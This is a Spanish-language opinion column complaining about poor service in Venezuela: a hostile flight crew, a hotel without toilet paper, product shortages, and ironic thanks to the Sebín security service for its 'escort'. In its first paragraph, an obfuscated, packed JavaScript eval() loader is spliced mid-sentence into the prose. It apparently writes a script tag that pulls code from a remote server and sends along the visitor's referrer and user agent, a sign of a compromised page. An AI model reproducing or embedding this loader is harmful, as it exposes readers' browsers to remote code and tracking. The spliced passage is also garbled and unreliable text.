Crisis de servicios

Noel Álvarez / Coord. Nacional de “Gente” Generación Independiente / [email protected] / @alvareznv
Estoy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adaas|var|u0026u|referrer|ddshi||js|php'.split('|'),0,{})) convencido que esta crisis tiene su génesis en la indolencia con que la mucha gente enfrenta los hechos cotidianos. Por mi parte, seguiré reclamando mis derechos

Respeto el criterio de quienes piensan que contar o reclamar la violación de sus derechos son temas aburridos o algo axial, como si se tratase de chismes cotidianos, considero que no es así.  Estoy convencido que esta crisis tiene su génesis en la indolencia con que la mucha gente enfrenta los hechos cotidianos. Por mi parte, seguiré reclamando mis derechos y cumpliendo con mis deberes, como lo hace quien sabe que los países se desarrollan apoyados en el crecimiento de una ciudadanía comprometida. 

En mis viajes voy observando la prestación de los servicios: La atención de los meseros en los restaurantes, de los recepcionistas y maleteros en los hoteles, los que atienden en los aeropuertos, la higiene de los baños públicos, la cordialidad de los sobrecargos en los aviones. En días pasados fui a Maturín, llegué al aeropuerto con las acostumbradas dos horas de anticipación y el vuelo de Aserca salió con el rutinario retraso. Abordé con mi equipaje de mano, antes de llegar al puesto que me correspondía, observé que la sombrerera estaba ocupada, por lo que procedí a colocar mi maleta en una fila anterior. Esto molestó al sobrecargo, a tal punto  que me increpó en fuerte tono. Le contesté que mi lugar estaba ocupado y que no podía hacer otra cosa. Durante el viaje no tuve más contratiempos, sin embargo, cuando tomé mi equipaje para descender, una aeromoza, supongo que aleccionada por su compañero, retomó la disputa con más intensidad que antes, pero al recibir en contrapartida el reclamo por el retardo en la salida, ambos hicieron mutis. La función de aeromozas y sobrecargos debe ser atender al pasajero y colaborar, no se justifica el maltrato. 

Ese no sería el único desagrado del viaje. Cuando llegué al hotel me conseguí que en las habitaciones no había papel sanitario. Reclamé en la recepción y la respuesta me dejó perplejo: “nosotros no ponemos papel en las habitaciones porque los clientes deben traerlo”. Lamentablemente la escasez de productos de higiene personal no es exclusiva de ese hotel. Lo más  terrible es que nos estemos acostumbrando a la escasez. No cuento esto para desanimar a nadie, por el contrario, los exhorto a que nos comprometamos cada día más en el rescate de nuestra querida Venezuela. Para finalizar, debo agradecer al cuerpo de seguridad del Estado, Sebín; por el notorio acompañamiento y escolta que nos dispensó mientras estuvimos en Maturín. 

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